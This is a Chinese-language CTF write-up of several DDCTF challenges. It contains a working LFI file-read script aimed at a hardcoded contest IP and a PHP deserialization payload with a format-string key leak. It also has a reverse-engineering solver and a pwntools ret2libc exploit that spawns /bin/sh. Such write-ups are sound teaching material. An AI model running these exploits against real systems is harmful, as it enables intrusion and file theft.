Web
100pt_滴~
首先很明显是一个本地文件包含漏洞(LFI),于是尝试读取index.php文件,对读取结果base64解码
<?php/** https://blog.csdn.net/FengBanLiuYun/article/details/80616607* Date: July 4,2018*/error_reporting(E_ALL || ~E_NOTICE);header('content-type:text/html;charset=utf-8');if(! isset($_GET['jpg']))header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));echo '<title>'.$_GET['jpg'].'</title>';$file = preg_replace(" /[^a-zA-Z0-9.]+/ ","", $file);echo $file.'</br>';$file = str_replace("config","!", $file);echo $file.'</br>';$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64,".$txt."'></img>";/** Can you find the flag file?**/?>
发现逻辑是将传入的jpg参数进行两次base64解码后将结果按十六进制转为字符串,紧接着将字符串经过处理一(匹配所有非a-z、A-Z、0-9、.的字符并将其替换为空)和处理二(检测”config“并将其替换为”!“),于是防止了跨目录文件读取。
访问提示的博客,在他写的另一篇博文中。。。我们可以发现关键文件practice.txt,于是访问该文件(http://117.51.150.246/practice.txt.swp),可以获取另一个关键文件f1ag!ddctf.php

于是可以利用LFI漏洞读取
import base64
import binascii
import requests
file_name="f1agconfigddctf.php"
result=requests.get('http://117.51.150.246/index.php',params={'jpg':base64.b64encode(base64.b64encode(binascii.b2a_hex(file_name)))})
print(result.text)
base64解码后,内容如下:
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
分析程序逻辑,显然,程序尝试读取名为hello的文件,但是利用LFI漏洞可发现名为hello的文件不存在,于是可得payload
http://117.51.150.246/f1ag!ddctf.php?uid=
访问可得flag

130pt_WEB 签到题
首先访问发现

此时访问其他路径均显示需要登陆

于是抓包,发现网站会在访问/index.php后,访问/app/Auth.php并发现关键字段didictf_username,尝试补充为admin

发现成功,于是访问/app/fL2XID2i0Cdh.php

发现可以拿到网站关键文件源码

分析发现Application.php中的析构函数__destruct可以读取文件

又发现Session.php中声明了Session对象,且Application类是Session类的父类,因此在Session.php的请求发送完成会调用父类的析构函数销毁对象

又发现Session.php中存在反序列化漏洞

因此我们可以构造反序列化执行Application实例化并读取flag,又发现get_key函数中提示了flag文件位置

于是可构造payload为O:11:"Application":1:{s:4:"path";s:24:"$path";}
但是发现path变量有长度限制且有危险字符过滤

于是可构造payload为O:11:"Application":1:{s:4:"path";s:24:".../.././config/flag.txt";}
此时又发现存在MD5验证

逻辑是将eancrykey与session拼接后取MD5值,接下来发现

这里显然存在格式化字符串漏洞,当我们以POST方式传入nickname=%s时,会泄露eancrykey的值

那么我们拼接payload后取MD5值

对payload URL转码后拼接MD5值,传入

得到flag

Reverse
100pt_Windows Reverse1
查壳,发现有UPX 3.09的压缩壳

于是使用UPX 3.09解压程序
DDCTF 部分WriteUP
使用IDA分析程序,发现程序存在反调试

于是静态分析,发现逻辑相对简单,程序会将用户的输入在sub_401000函数中进行处理,并要求处理后结果等于DDCTF{reverseME}

那么分析sub_401000函数,发现程序会将用户输入的逐位作为索引,返回索引到的byte_402FF8中的字符

于是我们查看byte_402FF8的内存区域

发现该区域无值,但是发现在后面存在字典字符串

于是考虑使用越界读,即可获取flag,exp如下
#include<bits/stdc++.h>
using namespace std;
string flag="DDCTF{reverseME}";
string dic="\x7E\x7D\x7C\x7B\x7A\x79\x78\x77\x76\x75\x74\x73\x72\x71\x70\x6F\x6E\x6D\x6C\x6B\x6A\x69\x68\x67\x66\x65\x64\x63\x62\x61\x60\x5F\x5E\x5D\x5C\x5B\x5A\x59\x58\x57\x56\x55\x54\x53\x52\x51\x50\x4F\x4E\x4D\x4C\x4B\x4A\x49\x48\x47\x46\x45\x44\x43\x42\x41\x40\x3F\x3E\x3D\x3C\x3B\x3A\x39\x38\x37\x36\x35\x34\x33\x32\x31\x30\x2F\x2E\x2D\x2C\x2B\x2A\x29\x28\x27\x26\x25\x24\x23\x22\x21\x20";
int main(){
for(int i=0;i<flag.length();i++){
for(int j=0;j<dic.length();j++){
if(dic[j]==flag[i]){
cout<<(char)(j+32);
}
}
}
return 0;
}


MISC
160pt_[PWN] strike
检查程序,32位仅开启NX保护的程序

分析程序主逻辑,发现输入长度可以使用-1绕过

于是初步思路是利用栈溢出劫持EIP到printf,然后泄露libc基址,之后ret2libc即可,但是在调试过程中发现该思路不可行,程序会在中途退出
然后发现在获取name时,我们输入的name被输出后后面会跟随一个地址

并且发现随着我们输入的name的变化,泄露的地址不同,于是测试发现当输入长度为37时,可以刚好泄露栈地址与libc基址,然后再控制EIP返回到栈上执行payload即可。
exp如下:
from pwn import *
import sys
context.log_level='debug'
xpwn=ELF("./xpwn")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
libc=ELF("./libc.so.6")
else:
sh = process("./xpwn")
libc=xpwn.libc
sh.recvuntil("Enter username: ")
sh.send("a"*37)
thing = sh.recv()
stack_addr = u32(thing[46:46+4])
libc_base_addr = u32(thing[46+4:46+4+4]) - libc.symbols["setbuf"] - 21
system_addr = libc_base_addr+libc.symbols["system"]
binsh_addr = libc_base_addr+libc.search("/bin/sh").next()
log.success("we get stack addr "+str(hex(stack_addr)))
log.success("we get libc base addr "+str(hex(libc_base_addr)))
log.success("we get system addr "+str(hex(system_addr)))
payload='A'*(0x4c+4-8-4)+p32(stack_addr)+p32(system_addr)*2+p32(binsh_addr)+p32(system_addr)
sh.recvuntil("Please set the length of password: ")
sh.sendline("-1")
sh.recvuntil("Enter password(lenth 4294967295): ")
sh.send(payload)
sh.interactive()
200pt_Wireshark
分析流量包并过滤http流量,发现有两个PNG流量

利用“导出分组字节流”导出两张图片,其中一张感觉十分违和

于是怀疑该图片高度存在问题,把高度改为与宽相等

可以发现key于是尝试使用题目中给出的网址解密另一张图片

可发现解密成功

将44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D进行十六进制转字符串可得flag

